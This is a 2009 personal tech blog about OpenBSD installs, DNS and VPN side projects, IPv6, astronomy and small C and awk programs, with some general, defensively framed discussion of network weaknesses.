I have made a movie with the newest snapshot of OpenBSD. If you've
installed OpenBSD before you'll notice some changes in this installer. I
don't always go with the defaults but custom install (the partitions).
I tried watching the .avi with windows xp and it didn't work, but it works
with mplayer available on linux and openbsd.
I read up on this and there is a driver for windows which is found
here
right near the bottom (2nd last).
OK the windows installer works when installed as administrator on an XP box.
I'm sure it will work on Vista as well. If you've never seen the install of
OpenBSD before perhaps this is worth watching.
Random Hackepedia
May 7th, 2009
Ports are identifiers of protocols that work on the transport layer (layer 4) of the OSI model. TCP and UDP are transport layer protocols that have ports. In TCP and UDP a port is represented by a 16 bit unsigned integer. Thus, the possible port range is 0 through 65535. Port 0 is illegal and no service resides on it.
I'm looking for this information online but I can't find it. We orbit the sun
and each quarter orbit we call seasons such as, spring, summer, autumn and
winter. The sun also moves into some direction around the galactic center,
and I'm wondering into which season does it currently move? How can this be
proven? I live in the northern hemisphere so I go by northern directions.
PS: Some progress. We are heading towards the star Vega in the constellation
lyra.
PSS: The direction we are moving is also called the solar apex.
4.5-current install movie #2
May 15th, 2009
I made another movie with vmware. This time it's an install with the latest
OpenBSD snapshot. If you saw the movie below this is the same but it's sped
up and you'll have to press pause to follow what I did. I tested 2 things.
One was whether adding a user was allowed as digits..as you'll see (it
did allow digits the last snapshot before that), and the other was escaping
out of the installer and checking whether another host was up.
There was one pleasant surprise in that there was a SHA256 checksum
on downloaded packages and it reported it being false (as I used the
packages from the previous snap on the local ftp site).
A process covers the entire address space for the size of a pointer (32 bit in 32 bit architectures, 64 bit for 64 bit architectures). Since virtual memory is being used, not all areas of a process have real memory assigned to it, only some parts...
To read more about stack on hackepedia
click here.
Lots of installer movies
May 18th, 2009
Here are some installs that I have done in vmware and made a movie of it.
I personally like the installers best in the order openbsd, netbsd, freebsd.
I like OpenBSD because you can go back easily which I show in the fourth
movie with install tricks.
Make sure you mirror it if you want to share it around. Also if you run
windows remember there is codecs found
here.
ICMP Timestamp
May 21st, 2009
Today someone mentioned ICMP timestamps and how they should be firewalled.
So I did a bit of research on this. I had the sourcecode handy on BSD and
the timestamp returned is seconds since midnight and milliseconds from the
microtime clock. The code for this looks somethign like this:
Now all BSD's (Open, Net, Free) allowed ICMP timestamps by default, and
OpenBSD had a sysctl where you can turn it off. Darwin had it turned off
by default and tweakable by sysctl. I wrote a small module to my codeblue
program and tested ICMP timestamps on Windows and Solaris and they don't
seem to reply to it:
# ./cb -s 172.16.0.3 -d 172.16.0.13 -I 13.0 -F timestamp -vv
--> interface_gateway: looking up gateway mac for 172.16.0.13
--> interface_gateway: resolved to mac address 0.c.29.4b.46.1e
1 packet written at 60 bytes totalling 60 bytes
Now then, someone who wants insight on the time of day on some box can get
a fairly accurate count which may help them with programs to attack a host.
But this isn't guaranteed.
In the old days, for example, TCP sequence numbers were based on the time of
day and thus someone could make a good guess at what those sequence numbers
are and be malicious. Today that's not possible anymore and someone even
emphasized in OpenBSD that
"Time is not a secret".
That's true but, then again, if it's
not a secret then why does OpenBSD's traceroute.c
convolute the time in a trace
packet. That's a nice idea but if time is not a secret it doesn't fit in the
overall policy (just an observation). A good policy, that I like, is that time
is nowhere used to seed random number generators, or cryptographic salts. If
PRNG (Pseudo Random Number Generators) are seeded with time and time is
readable over the network accurately then that PRNG is no good.
I was sorta surprised that NetBSD and FreeBSD had no sysctl to turn this off
and especially FreeBSD with it's millions of sysctl's didn't have a knob that
turned ICMP timestamps off. I guess the best formula that may make someone
feel better about this is just to firewall it locally. I'm tired now, good
night.
PS: Oh yes I tested Linux (OpenSuse 10.3) as well and it also replies ICMP
timestamps.
Random Hackepedia
May 22nd, 2009
A broadcast is likened to radio and is by definition one sender and multiple receivers. Ethernet can broadcast, IP can broadcast.
Broadcasting is stateless, meaning you cannot use TCP with it. Most broadcasts are done with datagrams.
As you can see this is my network at home all contained within one computer
using vmware. The load on uranus (the vmware host) is a constant 20% with
all these other vm's on. I created the map with xfig.
IPv6 chart
May 28th, 2009
I clicked a little around the ripe.net site and found this chart which
is very cool so I copied it.
IPv6 Relative Network Sizes
/128
1 IPv6 address
A network interface
/64
1 IPv6 subnet
18,446,744,073,709,551,616 IPv6 addresses
/56
256 LAN segments
Popular prefix size for one subscriber site
/48
65,536 LAN segments
Popular prefix size for one subscriber site
/32
65,536 /48 subscriber sites
Minimum IPv6 allocation
/24
16,777,216 subscriber sites
256 times larger than the minimum IPv6 allocation
I got this information from this
page.
As I have a /48 at home I don't think I'll ever run out of IP space even if
I gave each single cell in my body an IP address. BTW. a LAN segment in the
chart is /64 which is also called an IPv6 subnet.
Random Hackepedia
May 29th, 2009
ldd as found on Linux or a BSD displays what dynamic dependencies to a dynamic program exist. Some may even tell of breakage of libraries that don't exist anymore.
Natally is a NAT/VPN program that works on a host that cannot do tun/tap. With
iptables available, it'll make a packet socket and run with a raw socket. At
the same time one can connect to it and have the session blowfish encrypted. So
far there is some problems with performance that I'm working on. It's doggedly
slow but I'm positive that it can be sped up.
There exists a server written for Linux OpenSuse 10.3 and a client written
for OpenBSD 4.5. In the future there may be other clients written for linux
perhaps, but it's not a priority for me right now.
Update: Progress. I've replaced the ip and tcp checksumming routines and there
now isn't any bad checksums which really were part of the slowness as the
implementation had to wait for retransmissions and hope the checksums were
alright. Phew am I glad that was found.
Random Hackepedia
June 6th, 2009
tr stands for translate characters and that's what it does.
Not much is up, I wrote a linux client for
natally which seems to work. I
improved the openbsd client for natally a bit so that routes can be set up
which unfortunately doesn't work on the linux client. I'm going to skip
putting up a random hackepedia since there is so little content this week.
Solstice not too far away
June 17th, 2009
In the northern hemisphere (Europe, North America, Asia) we'll have the
Summer Solstice on
the 21st of June, which means that on this day at high
noon the sun is at its highest angle from the horizon. In the southern
hemisphere (parts of South America, Australia, parts of Africa) the sun is
at its lowest angle from the horizon (at high noon). Why this is is because
of the tilt of our earth. This tilt is responsible for our seasons (at
least in the northern hemisphere).
HOME
June 19th, 2009
Yesterday I found this movie on youtube and it touched me. It basically
warned humanity once again of our ways and said in 10 years the disruption
of the harmony of life will be irreversible. The movie has some great
footage from all over the world, check it out.
I participated in the Deschall (sp) crack challenge back in 97 or so and the
DES cipher was broken by a supercomputer especially built for the task. So
now it's 12 years later and a lot has happened. DES was replaced by AES and
AES is a lot more secure the literatures write.
But I'm left wondering why the dickens AES is a faster cipher than DES. Pretend
you are brute forcing a cipher, wouldn't then a faster cipher produce more
attempts per second than a slower cipher? This means a brute force would end
sooner to exhaust a cryptogram. Hmm. Here are some stats of DES and AES that
I cut from an "openssl speed" command on my home computer.
The 'numbers' are in 1000s of bytes per second processed.
type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes
des cbc 19981.67k 26454.32k 27109.93k 27133.40k 26813.16k
des ede3 9693.15k 9656.40k 9351.31k 9793.71k 9824.77k
blowfish cbc 35115.53k 41062.07k 39941.05k 41949.41k 41771.29k
aes-128 cbc 33001.89k 51473.35k 60324.97k 66089.46k 63121.28k
aes-192 cbc 30109.43k 46625.91k 51426.45k 54773.53k 56143.75k
aes-256 cbc 34359.02k 42632.24k 47491.13k 47512.66k 46742.06k
Random Hackepedia
June 21st, 2009
A Fifo is a named pipe. It is used for IPC. It is created with the mkfifo syscall or command. Fifos reside in the filesystem and require a process to read from it while another process writes to it.
Well I have been hacking away at
natally
the last couple weeks now and I
finally got dual mode encryption into it. It now does AES as well as Blowfish
encryption. Because of the nature of the code it should be easy now to add
other ciphers now too, it just needs to be put in place. I started out with
blowfish and then coded my way to AES removing a lot of hard code such as
blocksizes which need to be dynamic with multiple ciphers. I'm thinking
perhaps I should write a manpage now (ughh) or something.
PS: with revision 50 I committed the NAT state expiration code which was
needed to complete this project. Perhaps it'll need a bit of tweaking
here and there but the main code is finished.
The xlog is discontinued
July 2nd, 2009
Some people must have gotten hold of an old cache of my blog from 2006/2007
where I offered blog articles in encrypted form. You could order a decrypt
CD then to decrypt what was written, however noone at the time was interested.
I discontinued offering the blog in encrypted form and no sales were made. I
found some bounce mails from people today writing in to the decrypt mailbox
(which doesn't exist anymore). Thanks for your interests but the offer is
over.
OpenBSD packages
July 4th, 2009
First off, I'm not a fan of packages. But I'm wrong. The economics of
pre-compiled packages are better than building a package yourself. For one
you don't have to run your CPU hot building a port that someone has already
done for you, so you're wasting less electricity if you install the package.
However I'm the type of person that wants the source code at all times so I've
found a way to compromise. I put this in my /etc/mk.conf:
# more /etc/mk.conf
FETCH_PACKAGES=Yes
PKG_PATH=ftp://ftp.de.openbsd.org/pub/OpenBSD/4.5/packages/i386/
So now all I have to do is go into the ports and type: make fetch (gets the
source) and make install (gets the package and installs it). This way I have
the source to fall back on when I need it and the package process is a few
seconds at most.
Random Hackepedia
July 4th, 2009
All users on a system have the ability to customize their environment to their taste. This can involve choosing a shell such as bash, zsh, or tcsh, setting the environment, shell aliases, or running scripts at startup. These tasks are all handled by various "profile scripts".
Syslog is the common way of managing logfiles on UNIX. Processes that wish to log something write to a UNIX socket usually bound in /dev/log which then goes to syslogd that writes these logs to a file usually found in /var/log.
I read NASA's APOD
(Astronomy Picture of the Day) and if you click on the link you'll see
todays picture which is a message to aliens. I wanted to see just how easy
it is so I started deciphering it. First it lists numbers in quantity
represented as dots then it shows the binary value of the number and then a
base 10 representation. These numbers go from 0 to 10 (with binary as well)
and continue in base ten with 10,11, 12, 14, 15 and 20. At the top then is
a 1 on the left side and a 1 on the right side in binary, possibly indicating
our sexes (with five spots possibly indicating our fingers on each hand).
Then it continues with prime numbers from 2 through 89 (so that definitely
something intelligent is behind this). And then it says 2 3021377 X1 which
I cannot figure out, but perhaps you can.
Hah! Google knew it was a very high prime number called a Mersenne prime.
Here is it's homepage.
Removed link
July 13th, 2009
In a commit
Theo de Raadt points out that OpenBSD does not link to sites filled with hatred.
I am following suit by removing this link from the SolarScale blog. I don't
exactly know what the offending message was but I have some idea of it.
Random Hackepedia
July 17th, 2009
Distributed Denial of Service (see DoS). A distributed denial of service is
many computers on the Internet coordinating a Denial of Service attack (DoS)
against a single host, network or network infrastructure....
The first man in orbit was Yuri Gagarin and that was in 1961. Eight years later we had the
first man on the moon.
That tells you that it's not all too hard to get to the moon considering 30
years of development since the V2 rocket that
Wernher von Braun designed in world war 2. The Chinese have a space program and even
put people into orbit before. Whether they can land a man on the moon in
8 years remains to be seen. But it's not impossible.
TCP Wrappers to protect ssh
July 23rd, 2009
In the last few days there was a rumour of an openssh exploit, and also a
worm that would spread from openssh'ed computers. One thing I did was
change the default port so that an automated worm going to port 22 would
go nowhere. I also applied TCP wrappers to my hosts, I'll give you an
example of a host I use only for IPv6.
$ more /etc/hosts.allow
sshd : [2001:a60:f074::]/48
$ more /etc/hosts.deny
sshd : ALL
$
The host in question was a FreeBSD host and they require those weird square
brackets with the prefix behind. An OpenBSD host doesn't require these
square brackets.
What the rules do is they allow my IPv6 subnet to connect via SSH and deny
the rest.
The stolen bytes (part 2)
July 30th, 2009
I've switched my webserver to lighttpd.
The license seemed right, the coding
style seemed fair, a lighter httpd is all we need. I checked the problem
with the chinese log fakers (I whoised the IP) and it doesn't happen. The
logs now properly tell that they are only downloading about 46K bytes instead
of 70 MB. If it were all so simple as this.
Update: more comes to light. I noticed that the downloads come at a certain
frequency and get stopped mostly at 40K or so. It's possible that the chinese
firewall is stopping my RFC's that I recorded which are in the public section
of this website. I used a testing website from shanghai to test and there
definitely is a time-out when trying to access my .mp3's. Here is the
website
and the picture I made follows (so you don't have to try it out wasting
bytes):
Update 2: I was able to get a packet dump of one host trying to download the mp3's from me and it's apparent that the great firewall of china cuts it off.
Here it is. You'll see at the
end there is 10 RST's, normally a host only does 1 RST to end a connection and
that's it. I've heard about the firewall in china doing it exactly this way
too. The clues just keep on coming in.
The stolen bytes
July 30th, 2009
According to my weblogs I was getting downloads from some IP addresses on the
order of 80 GB a month. I found that hard to believe because my VPS provider
charges shows that I only use about 50 MB a day when I'm not running natally.
To show you I have gathered the bytes from the "common" apache log for the
highest downloader:
So then I decided to do what he does, I make a HTTP 1.0 connection and download
a large mp3, then I interrupt the download, and in the logs it says I have
downloaded the entire file which is bogus:
Everytime I interupted the download and everytime it said I downloaded 71 MB.
This adds up, and I'm thinking if I had a webhoster that charges the traffic
from the apache log files then there is a big problem as people may get
overcharged traffic wise. The best thing to do is to get traffic logged at
the router (by means of access lists perhaps) and not the apache log files.
Another thing I did was make sure that there is no transparent proxy anywhere
and so on the last download I packet dumped the session:
167 packets were logged and at an MTU of 1500 it doesn't get near the 71MB of
the file, so the session isn't cheating me by buffering in between.
The nicest thing would be to patch this in apache.
Random Hackepedia
August 7th, 2009
Hubs are devices that connect other devices together over a network. They are inherently a "broadcast" device, in that all devices see all traffic that passes through the hub, even if they are neither the sender nor receiver of the traffic....
X is the X Window System as designed by Project Athena at MIT. It is a graphical user environment that allows cursor movement over windows as displayed on the monitor...
To read more about this hackepedia entry a go here.
Freak for Numbers?
August 14th, 2009
I'm a freak for numbers and I recently came across this website:
www.ipspotting.com. It rates your
IP number through a CGI. My host proteus.solarscale.de got a score of 35
which was half interesting for it, my other static IP got a score of 23 and
that wasn't so interesting, even though it had a prime number in the dotted
quad. Check it out sometime.
I came across this webpage called the
IPv4 Address report.
It predicts when we will run out of IPv4 space. At the time of this writing
it was 694 days and I noticed over a couple of weeks that this number can
grow or shrink as the prediction passes over time.
Running out of IPv4 space is hardly the end of the world. It just means that
IPv6 will be a must have rather than a nice-to-have. This blog already is
mirrored on ipv6 space at ipv6.solarscale.de
.
(you can only reach it if you have IPv6 configured).
It's donation time again
August 24th, 2009
A small amount goes to MARC mailing list archive for their superb archiving
services, I use MARC regularely.
Random Hackepedia
August 28th, 2009
One major change I've noticed in Solaris 10 is that admintool is gone...
I've improved the code on
wildcarddnsd so that it grabs the incoming ttl and displays it in the
logs. Eventually I want to make it so that the dns server closest to an
IP will reply. This requires some coding with sockets between two or more
wildcarddns servers and allowing it to get the TTL is just a small step.
How long it'll be before done I don't know, don't get your hopes up too
high on it, unless you want to do some work and contribute.
Random Hackepedia
September 5th, 2009
A system call is an API for a userland process to communicate with the kernel to request data or services outside of it's protected memory...
Bruce Schneier announces
a new book called "cryptography engineering" which is a sequel to
"practical cryptography". I think I'm gonna buy this new book since I have
another book of his called "applied cryptography" and it was a nice to have.
Identifying OS by TTL
September 7th, 2009
By default BSD and Linux systems have a TTL of 64. Windows systems have a
default TTL of 128. Given that information one can with some certainty say
what OS did a DNS lookup on a
wildcarddns DNS server. It requires logging turned on and evaluating
the log with AWK.
Today the new OpenBSD song
came out for OpenBSD 4.6. The song is
inspired by the movie "Planet of the Apes", where in the future Puffy flies
to our planet in a timemachine. As he lands he sees a world that is evil.
People have their arms surgically removed at birth and have a screen before
their eyes to see, probably to take them out of their misery. Personal
robots do all tasks that arms would have done. Puffy gets caught after
someone identifies him as a hacker, but then escapes after turning the
warden fish's display off (who by the way sees him as a woman in a bikini).
The story reminds me of a brainstorm I had in my old apartment where people
get their limbs removed in order to program for a slave driver. Can't run
away if you got no legs.
Puffy says "stop this future", and I agree, we don't need limbless people that
would otherwise have healthy limbs. Down with slavery!
Random Hackepedia
September 12th, 2009
A Firewall is part of an Operating System's networking stack that allows one to create policies for network traffic, and permit or deny that traffic accordingly...
The last equinox of this year is in a few days, 5.
Random Hackepedia
September 19th, 2009
A process covers the entire address space for the size of a pointer (32 bit in 32 bit architectures, 64 bit for 64 bit architectures). Since virtual memory is being used not all areas of a process has real memory assigned to it and only some parts (access to parts that have no memory results in a SIGSEGV signal and the process is killed)...
Today is the equinox. The
sun sets at the North Pole and rises at the South Pole. Also night should be
as long as day.
Nominum's statements
September 23rd, 2009
As some of you may know I'm the author of the Wildcard DNS server. I read
the
following words from Nominum:
"Open Source DNS a Recipe for Problems".
And I have to disagree to this somewhat. But when looking at my own meagre
DNS server, there is a few areas of concern. First, my server wasn't meant
to be put on the Internet when I first wrote it close to four years ago, but
it's functionality allowed it to be run as an authoritative nameserver.
I have been serving the centroid.eu zone with it and continually studying
the logs of it and I'm happy to report that my server was never killed from
remote, I never had to restart the server. I'm surprised that it works out
to be fairly stable.
Wildcard DNS was and is a research project and while I'm at it I'm sharing
the source of it. Whoever wants to use it should know the license. The
license (BSD license) protects me as the author of the program from being
sued by someone who may get damaged by using this DNS server. There is
some risk using this software, but I personally am pretty happy. Writing
a DNS server isn't easy, but when you do you learn a lot. How the DNS
protocol is utterly broken (by using 16 bit ID's), for example. Nominum
can't get around the 16 bit ID problem, it's a protocol problem.
So anyhow, I'm in the process of adding new functionality to Wildcard DNS
that no other open source nameserver has, and I'm looking forward in seeing
it run and experiment with it. When it turns out to work pretty well the
functionality can be put into other nameservers at their will.
If you ask me Nominum just wants a bigger chunk of the monopoly that BIND
used to have and now are on a warpath to be the dominant dns server.
Good for them, and good luck.
Random Hackepedia
September 26th, 2009
Hackepedia is down so I'm going give you a link to
BSS on my hackepedia backups.
Alphabetical Countup
September 28th, 2009
Someone on IRC needed a program that counts the alphabetical characters in
words and adds their value. So the value of A would be 1, the value of B
would be 2 and "AB" would be 3 (1 + 2). I wrote this program for him:
#include <stdio.h>
#include <ctype.h>
int
main(int argc, char *argv[])
{
int i;
char *p;
if (argc != 2) {
fprintf(stderr, "usage: name [name]\n");
exit(1);
}
p = argv[1];
i = 0;
while (*p) {
i += (tolower(*p) - 'a') + 1;
p++;
}
printf("the number of name %s is %d\n", argv[1], i);
exit(0);
}
With counting up names and words one can see which ones are similar in
value. Here are some examples:
Peter J. Philipp - Bermuda T. Triangle
Peter - daemonic, Titan, Zion, Yahoo, angelical
pbug - Pete, hacker, airhead, Bobby
centroid - demihuman, demonlike
solarscale - equinox, bridgekeeper, clockroom
I made a file called num2words.txt on the public download that has 234,000
words or so sorted to their respective alphabetic countup. The processing
time it took on my home computer was roughly 2 hours. Because I didn't
make the program efficient it took this long.
Here is a super quick awk statement that makes creating the wordlist super
fast:
awk 'BEGIN { for (i = 65; i < 91; ++i) { c = sprintf("%c", i); h[c] = \
h[tolower(c)] = i - 64 } } { tot = 0; for (i = 1; i <= length(); ++i) \
tot += h[substr($0, i, 1)]; print tot, $0 }' /usr/share/dict/words | \
sort -n
Thanks goes to Figz for making this.
Compiling and debugging a program
October 6th, 2009
Occasionally I'll post a small C program on this blog. This is how you can
compile it on a UNIX-based computer. Also I add the (-g) compile option
which includes the symbols in the file to make debugging easier. I'm
using this on the program sphere.c which is below, here goes:
setebos$ ls sphere.c
sphere.c
setebos$ cc -g -o sphere sphere.c
/tmp//ccnSRGuU.o(.text+0x66): In function `main':
/usr/home/pjp/src/math/sphere.c:18: undefined reference to `pow'
/tmp//ccnSRGuU.o(.text+0x93):/usr/home/pjp/src/math/sphere.c:19: undefined reference to `pow'
collect2: ld returned 1 exit status
setebos$ cc -g -o sphere sphere.c -lm
setebos$ gdb -silent ./sphere
(gdb) list
2 #include <stdlib.h>
3 #include <math.h>
4
5 int
6 main(int argc, char *argv[])
7 {
8 double volume, radius;
9 double area;
10
11 if (argc != 2) {
(gdb) just press enter here
12 fprintf(stderr, "usage: ./sphere [radius]\n");
13 exit(1);
14 }
15
16 radius = atof(argv[1]);
17
18 volume = (4 * M_PI * (pow(radius, 3))) / 3;
19 area = 4 * M_PI * (pow(radius, 2));
20
21 printf("Sphere with radius of %f\n", radius);
(gdb) break 17
Breakpoint 1 at 0x1c0007df: file sphere.c, line 17.
(gdb) run 10
Starting program: /usr/home/pjp/src/math/sphere 10
Breakpoint 1, main (argc=2, argv=0xcfbfb9bc) at sphere.c:18
18 volume = (4 * M_PI * (pow(radius, 3))) / 3;
(gdb) print radius
$1 = 10
(gdb) n
19 area = 4 * M_PI * (pow(radius, 2));
(gdb) print volume
$2 = 4188.7902047863909
(gdb) n
21 printf("Sphere with radius of %f\n", radius);
(gdb) print area
$3 = 1256.6370614359173
(gdb) continue
Continuing.
Sphere with radius of 10.000000
AREA = 1256.64
VOLUME = 4188.79
Program exited normally.
(gdb) quit
setebos$
Sphere.C
October 6th, 2009
Yesterday I came across some formulas which I haven't used in more than a decade
and I made a program out of them, here is what the input and output looks like:
setebos$ ./sphere 1737 # moon
Sphere with radius of 1737.000000
AREA = 37914863.86
VOLUME = 21952706175.03
setebos$ ./sphere 3396 # mars
Sphere with radius of 3396.000000
AREA = 144925640.08
VOLUME = 164055824574.20
setebos$ ./sphere 71492 # jupiter
Sphere with radius of 71492.000000
AREA = 64228053049.52
VOLUME = 1530597322872156.00
And here is the source code including the formula for area and volume of a
sphere:
On October 23rd starting at 9AM CEST, DENIC will open registrations for
two letter .de domains. Other than saving bandwidth and being rare there
is nothing special about 2 letter .de domains. There is 676 of them if
you exclude numbers. Here
is the story (in german) about this at heise.de.
OpenBSD 4.6 was released
yesterday. I'm gonna have fun with this.
I just made a 15 euro bank donation to OpenBSD (which is 23 canadian dollars).
I'm doing this in lieu of buying the CD's, but I'm looking forward to perhaps
getting 4.8 on CD next year.
Thanks OpenBSD
October 25th, 2009
Theo de Raadt added my name to the list of people who do donations on their
donations page. The list is quite large by now, and I always wondered why
I wasn't added before. It turns out that if your donations accumulate to a
certain amount (100 dollars CA or so) they put your name on the list. This
is nice, it's a nice self-endorsement and it shows my passion for OpenBSD.
New features at WildcardDNS
October 25th, 2009
Someone asked if round-robin'ing was possible in wildcarddnsd. The feature
was there once so there was still stub-code but it didn't work. I cleaned
that up today and it seems to work. It makes wildcarddnsd a bit slower
because the zones have to be written after every lookup, but otherwise
NS, A and AAAA records do a wildcard round-robin now.
It's not in the repo HEAD yet but if you check out the ROUNDROBIN branch
the code is added on to BETA_2.
Hackepedia back online
October 27th, 2009
Hackepedia is back online after about
a month of downtime.
Playing with xearth
November 2nd, 2009
rosalind$ history
...
44 xearth -pos "fixed 49 0" -sunpos "-15 0" -noroot -nostars -grid -markerf
ile markerfile
rosalind$ more markerfile
50.05 10.23 "pbug"
WildcardDNS bug fix
November 3rd, 2009
I fixed a bug in wildcarddnsd that caused zones to be 'lost'. Everyone who
uses wildcarddnsd should upgrade to the latest version or tag "BETA_3".
In the
CVS log there is more detail on what went in since BETA_2.
Random Hackepedia
November 6th, 2009
This weeks hackepedia article is Multicast. Enjoy.
Upgrade (Hell)
November 6th, 2009
This week I purchased and installed 3 things. One, Windows 7 Home Premium
edition. Two, VMware Workstation 7 and finally F-Secure 2010 Anti-Virus.
I've never had an anti-virus program before so this was a first install for
me.
I also downloaded Kubuntu 9.10 and installed it as my VMware host operating
system. That was necessary because my old Redhat lacked some libraries that
I needed for good sound support with the VMware Workstation.
So I had to move some OS's out of my active host team that I keep in the
on state in VMware, in order to accomodate the 1 GB footprint of Windows 7.
Windows 7 was a pain to install because vmware has crappy dvd support and
using a sparse file for the dvd didn't work due to some copyright protection.
When I install Windows I compartment a superuser and a regular user. This
way if there is a virus when I use windows, it can't write over system files
and install a root-kit or whatever. I usually name the superuser admin.
Only when installing Windows it asks to install a user and I didn't name it
admin but "pjp" my usual acronym. So when I learned that I wanted to install
"pjp" as a user with less privileges I had to rename the admin account. It
left the home directory as "pjp" and gave my pjp user the directory of "pjp_2".
Activating the one year subscription for the anti-virus was pretty easy and
I hope everything is protected now. I set it so that it scans files that I
download through the web (real-time).
These were just some experiences I had with this years upgrade, I probably
won't upgrade for at least another year unless something blows up badly.
A theoretical attack on WildcardDNS and the Internet
November 7th, 2009
This attack theorizes on an attack on caching recursing nameservers. Pretend
someone runs wildcarddnsd and thus wildcards the entire spectrum of their
domain
(zone).
These are all valid A replies if domain.com has an A record set. Only problem
is that when someone uses up the entire 255 characters of a valid domain
name then the other recursing nameserver theoretically stores all this in
memory for at least the time to live. So if someone looks up:
.. then there is an awful lot that is stored in RAM on a nameserver.
If a botnet looks up these long domain names they can cause economic damage
by wasting many many many bytes on an aggregate of foreign nameservers. And
the nameserver that does wildcardding will get the bandwidth bill for all those
lookups, although there is many "root servers" that have unlimited bandwidth
for 60 euros a month. It'll look like a DOS but it's not (yet it can lead to
a DOS).
To save the Internet some pain I've implemented the -W flag on my wildcarddnsd's and to basically save my ass the bandwidth charges.
PS: you don't need a botnet to do some damage. If you have a link that allows
spoofing you can spoof into networks that don't have ingress spoofing filters
on their routers and fake a question to DNS servers that would otherwise refuse
to answer you. With the amount of bandwidth one can get 50/10 Mbps a
considerable amount of damage can be done. So the protection against this is
to have solid networks out there that don't allow spoofing of any kind.
I use wikipedia quite often. Especially when it gets a little boring. I hope
the five euros will cover my bandwidth charges, and it just wouldn't be the
same with flashing banners greeting me everytime I go there.
Windows 7 and IPv6
November 15th, 2009
I had some time tonight to get IPv6 in windows working, and it does work
like a charm. See picture for the config (in german).
The IPv6 addresses are statically set and are behind a firewall. I can see
the dancing KAME turtle with IE8.
New VPS at Hub.org
November 22nd, 2009
I started turning my home computer (uranus) off at nights since the fans are
pretty loud and it's right beside my bed. This meant that for the
centroid.eu zone there was a single point of failure since centroid.eu has
2 nameservers one of them being uranus.
So then I looked for a cheap VPS
one that also allows me to do the TTLPATCH testing on wildcarddnsd and I've
found one at hub.org. The server which I call dione is located in Panama of
all places, which is far enough for a good TTL balancing.
Google made two DNS servers available. 8.8.8.8 and 8.8.4.4.
With this they can read what you look up (in their logs), if you use these
servers. I wouldn't use these servers other than for debugging perhaps, and
I don't think Google knows what they're in for; if these nameservers catch
on, I think google will be swamped with requests that it never considered.
In the end people might see service interruptions if the Google nameservers
cannot cope.
PS: this isn't about advertisement anymore either. Other than knowing where
you POP3 your mail there is no revenue for Google with this service. Unless
they smuggle a false answer into your DNS lookup request they can't mix any
advertisements into it. However imagine they "hijack" your POP3 and send
you to a POP3 server that contains email advertisements, just once a day.
Ohh the revenue in that would be sweet for them, and it may go unnoticed.
Monitoring program
December 6th, 2009
I've written a small program that monitors google's nameservice. It is
chrooted so that I can keep my nameservers on the server that runs it.
Basically what it does is it looks up the address for pop3.solarscale.de and
then compares what answer google gives. This will log if they give any
different answer than what I know they should be given.
This may be a little like spy vs. spy. But we gotta keep track of goodness
somehow. When I co-administrated cvsup.ca.freebsd.org there was someone who
checked us as well, as the logs could tell.
New RFC: RFC 5694
December 8th, 2009
I updated my personal collection of RFC's yesterday. I did this with getting
the rfc-index.txt file from ftp://ftp.isi.edu/in-notes, then I compared this
file with what I had and the script looks something like this:
awk '/^[1-5]/ { print $1 }' rfc-index.txt |\
while read i; do FILE=rfc${i}.txt ; if [ ! -f $FILE ]; \
then ftp ftp://ftp.isi.edu/in-notes/$FILE ; fi; done
So then I read over the new RFC's that it pulled down for me. One was
intruiging, it is called "Peer-to-Peer (P2P) Architecture" and is found in
RFC 5694. From the abstract:
In this document, we provide a survey of P2P (Peer-to-Peer) systems.
The survey includes a definition and several taxonomies of P2P
systems. This survey also includes a description of which types of
applications can be built with P2P technologies and examples of P2P
applications that are currently in use on the Internet. Finally, we
discuss architectural trade-offs and provide guidelines for deciding
whether or not a P2P architecture would be suitable to meet the
requirements of a given application.
If this is something you like and want to read a bit you can download the
rfc from ftp://ftp.isi.edu/in-notes/rfc5694.txt or look it up through
http://rfc-editor.org.
The Solstice is here in
nine days (on the 21st). What is this? It's when the sun is at it's lowest
point (at high noon) in the northern hemisphere, also called the winter
solstice. Because our earth is tilted and the tilt in winter favours the
southern hemisphere it is the summer solstice there.
The Olympics aren't about just sports anymore, telecommications benefit.
2009, a look back
December 23rd, 2009
I saw a lot of people already writing about this year so I'm going to sum up
a few things that I did technically this year.
Jan 3rd, became user of sixxs.net, PJP4-SIXXS handle.
Jan 16th, first article of this blog, with a more technical side than before.
Feb 1st, first sixxs IPv6 tunnel to my static IP which I also obtained then.
May 21st, OpenBSD patch sent to OpenBSD, system/6149
Jun 8th, first initial commit of natally, natally.sourceforge.net.
Jun 9th, transfer of centroid.eu from intergenia to joker.com, who doesn't yet
support v6 glue to .eu domains.
Jun 14th, 30 day trial of QNX, nice that they have pf(4).
Nov 17th, purchase of vmware workstation 7.
Nov 17+ change from redhat linux to ubuntu on uranus.centroid.eu
Nov 17+ purchase of windows 7 HE.
And that was some of the highlights this year. Natally works for me somewhat
today and there was a few bugfixes to wildcarddnsd as well. I also purchased
2 GB of RAM, 1 250 GB harddrive and 1 DVD drive, all not exceeding 180 euros.
My grandmother also died this year leaving me with an inheritance of a bit of
money, but not much. I may purchase a new computer in 2010.
Merry Christmas
December 24th, 2009
Today is Christmas eve and in the tradition of german people we open our
presents tonight. Followed by dinner, I think we're having duck or something.
Anyhow, thanks for being with me for the year and have a safe and happy
holiday.
For the last few days I've been hacking away at a new program. Well, three
actually. It's called cryologd and can be found at sourceforge,
here (don't worry I didn't
style that page, sourceforge, did).
So what's it do? It encrypts log files and doesn't write the private key
(needed for decryption) to disk. This is good if your filesystem is subject
to snooping. It uses routines I wrote for natally (and improves on them)
which is good because every project I write I do it to build on top of them.
Let me give you an example. cryologd and natally encrypt their communications.
But at some ISP they don't encrypt and all their credit cards can be read
through the wire. I can now get a job perhaps implementing the crypto at the
ISP, it's easier on me because I've already written this. Anyhow I wish
about the job, but you never know.
Congratulations Wikipedia
January 7th, 2010
On November 13th or so of last year I donated five euros to
Wikipedia.
Well the
fundraiser
is over. They raised over 8 million dollars from more than
230,000 doners. The average donation was about 35 dollars which I'll have to
keep in mind for next years donation as someone picked up my tab so to speak.
So, congratulations Wikipedia, you're the best!
Hackepedia, making hyperlinks
January 8th, 2010
I've written a script to cross reference more articles in my
hackepedia
backups. Here is the script, don't use it unless you understand it.
#!/bin/bash
cat /dev/null > list
for i in *.html; do
echo $i >> list
done
for i in *.html ; do
echo working on file $i
awk '
BEGIN { while (getline < "list") list[$0] = $0; }
{ for (i = 1; i <= NF; i++) {
for (j in list) {
keyword=sprintf("%s.html", $i);
if (keyword != ARGV[ARGC - 1] && j == keyword) {
save = i;
$i = sprintf("<a href=\"%s\">%s</a>", j, $save);
}
}
}
print;
}' $i > new/$i
done
